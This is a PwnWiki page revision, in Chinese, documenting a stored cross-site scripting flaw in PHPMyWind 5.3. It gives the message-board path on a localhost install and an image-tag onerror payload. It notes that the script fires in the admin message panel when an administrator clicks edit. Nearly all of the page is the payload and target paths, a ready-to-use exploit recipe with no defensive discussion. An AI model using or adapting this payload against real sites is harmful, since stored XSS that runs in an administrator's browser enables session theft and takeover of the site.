Difference between revisions of "PHPmywind 5.3 儲存型xss漏洞"
From PwnWiki
(Created page with "==Payload== 留言板 <pre> http://127.0.0.1/PHPMyWind_5.3/shoppingcart.php </pre> <pre> “><img/src=x onerror=alert(2001)><“‘ </pre>") |
|||
| Line 9: | Line 9: | ||
“><img/src=x onerror=alert(2001)><“‘ | “><img/src=x onerror=alert(2001)><“‘ | ||
</pre> | </pre> | ||
| + | |||
| + | 後台 | ||
| + | <pre>127.0.0.1/PHPMyWind_5.3/admin/message.php</pre> | ||
| + | 需要點擊修改才可以彈XSS | ||
| + | 如果管理員留言需要前台顯示（或者回复）就必須點擊修改。 | ||
Latest revision as of 13:03, 14 April 2021
Payload
留言板
http://127.0.0.1/PHPMyWind_5.3/shoppingcart.php
“><img/src=x onerror=alert(2001)><“‘
後台
127.0.0.1/PHPMyWind_5.3/admin/message.php
需要點擊修改才可以彈XSS 如果管理員留言需要前台顯示（或者回复）就必須點擊修改。
